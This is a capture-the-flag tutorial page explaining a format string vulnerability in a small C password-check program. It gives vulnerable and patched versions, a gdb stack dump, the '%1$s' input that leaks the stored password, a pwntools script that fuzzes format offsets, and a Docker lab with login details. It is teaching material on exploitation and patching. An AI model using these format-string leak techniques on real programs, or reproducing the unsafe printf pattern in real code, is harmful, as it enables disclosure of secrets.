# Challenge example

## Code Example

{% tabs %}
{% tab title="Vulnerable" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied using password : \n");
        printf(password);
        printf("\n");
    }

    return 0;
}
```

{% endcode %}
{% endtab %}

{% tab title="Patched" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied using password : \n");
        printf("%s\n", password);
    }

    return 0;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

Here the objectif is to retrieve the value stored into `passwd` in order to pass the if condition at the next run.&#x20;

## Exploitation

This program is vulnerable to Format String exploit. In this case, the `password` variable will be printed directly using a `printf()`function without specify any format specifier, so if there is a format specifier into the value supplied by the user, the process will interprets it.&#x20;

In order to retrieve the offset between the format specifier and the pointer of the `passwd` variable we can debug the process using gdb-peda and inspect the stack :&#x20;

```bash
$ ./chall
Enter the password: %p
0xffffd0ac
```

```wasm
[-------------------------------------code-------------------------------------]
   0x565563d7 <main+266>:       sub    esp,0xc
   0x565563da <main+269>:       lea    eax,[ebp-0x1c]
   0x565563dd <main+272>:       push   eax
=> 0x565563de <main+273>:       call   0x56556100 <printf@plt>
   0x565563e3 <main+278>:       add    esp,0x10
   0x565563e6 <main+281>:       sub    esp,0xc
   0x565563e9 <main+284>:       push   0xa
   0x565563eb <main+286>:       call   0x56556170 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd0ac --> 0x7025 ('%p')
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0xffffd0ac --> 0x7025 ('%p')
0004| 0xffffd084 --> 0xffffd09c ("SuperPassword!!")
0008| 0xffffd088 --> 0xf
0012| 0xffffd08c --> 0x5655a1a0 --> 0x0
0016| 0xffffd090 --> 0xf7faf000 --> 0x1e7d6c
0020| 0xffffd094 --> 0xf7fe22d0 (endbr32)
0024| 0xffffd098 --> 0x5655a1a0 --> 0x0
0028| 0xffffd09c ("SuperPassword!!")
[------------------------------------------------------------------------------disa
```

{% hint style="info" %}
A break point is set at the call of the `printf()`vulnerable function.
{% endhint %}

The first value onto the stack is the user input interpreted by the `printf()` function and the second value is a pointer to a variable containing the string "SuperPassword!!" (value readed from the `.passwd` file)

{% hint style="info" %}
This pointer is here due to the usage of `strcmp` before in the code
{% endhint %}

Then, if the user input is `%1$s`, the value stored into the `passwd` variable should be printed.&#x20;

```bash
$ ./chall
Enter the password: %1$s
permission denied using password :
SuperPassword!!
```

<pre><code>$ ./chall
<strong>Enter the password: SuperPassword!!
</strong>good job
</code></pre>

## Fuzzing

If it's not possible to debug the process to calculate the exact offset between the user input and the targeted secret variable, it's possible to fuzz.&#x20;

It's consist to send a payload to read successively at each possible offset

```python
from pwn import *
import os

os.chdir("/pwn/")

# Set the logging level to ERROR
context.log_level = "ERROR"

for i in range(100):
    try:
        p = process("./chall")
        payload = f"%{i}$s"
        p.sendline(payload.encode())
        output = p.recvall().decode().split('\n')
        if len(output[1]) > 0 :
            print(f"PAYLOAD = {payload}\nOUTPUT = {output[1]}\n")
    except:
        pass
```

Then if there is pointers to strings values, this will print any of them :&#x20;

```bash
$ python3 fuzz.py
PAYLOAD = %0$s
OUTPUT = %0$s

PAYLOAD = %1$s
OUTPUT = SuperPassword!!

PAYLOAD = %4$s
OUTPUT = l}\x1e
PAYLOAD = %13$s
OUTPUT = (null)
```

{% hint style="success" %}
The passwd content is retrieve
{% endhint %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :&#x20;

```
docker pull thectfrecipes/pwn:data_leak
```

Deploy the image using the followed command :&#x20;

```
docker run --name format_string_data_leak -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_leak
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```
